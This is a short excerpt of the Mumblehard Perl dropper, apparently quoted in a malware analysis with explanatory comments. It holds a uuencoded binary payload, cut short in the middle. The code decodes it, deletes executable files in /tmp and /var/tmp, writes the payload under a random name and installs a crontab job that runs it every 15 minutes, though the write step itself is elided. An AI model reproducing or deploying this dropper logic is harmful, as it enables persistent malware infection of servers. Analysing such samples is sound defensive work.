sub bdrp my bdrp BDRPDATA T5 0D 1H DE 9H M3 S5I Z-WQT -T YR P1 -7 Q5 T

sub
 bdrp 
{
my
$bdrp
 = <<
'BDRPDATA'
;
M?T5,1@$!`0D```````````(``P`!````3(`$""P``````````````#0`(``!
M``````````"`!`@`@`0("1H``!X>```'`````!```(DE"9H$"+@-````,=M3
...
M)S5I=6=\9&(Z-WQT>'-T?#,@/'YR<%-$`@=,1$A#1$P1"U$-7$I$1$!=#Q5+
%%T491S$`
BDRPDATA
$bdrp
 = 
unpack
( 
"u*"
, 
$bdrp
 );
foreach my
$bdrpp
 ( 
"/var/tmp"
, 
"/tmp"
 ) 
{
# Delete all executable files in temporary directory
# (delete existing Mumblehard installation)
for 
(
<$bdrpp/*>
) 
{
unlink
$_
if
 ( -
f
$_
 && ( -
x
$_
 || -
X
$_
 ) ); 
}
# Create random file name
my
$bdrpn
 = [ 
"a"
 .. 
"z"
, 
"A"
 .. 
"Z"
 ];
$bdrpn
 = 
join
( 
""
,
@
$bdrpn
[
 map
{
rand
@
$bdrpn
}
 ( 
1
 .. ( 
6
 + 
int rand
5
 ) ) ] );
my
$bdrpb
 = 
"$bdrpp/$bdrpn"
;
my
$bdrpc
 = 
$bdrpb
 . 
int rand
 9;
# crontab job to add (runs every 15 minutes)
my
$bdrpt
 = 
"*/15 * * * * $bdrpb >/dev/null 2>&1\n"
;
if
 (
 open
( B, 
">"
, 
$bdrpb
 ) ) 
{
# Drop file and install job with crontab
[...]
}
}
}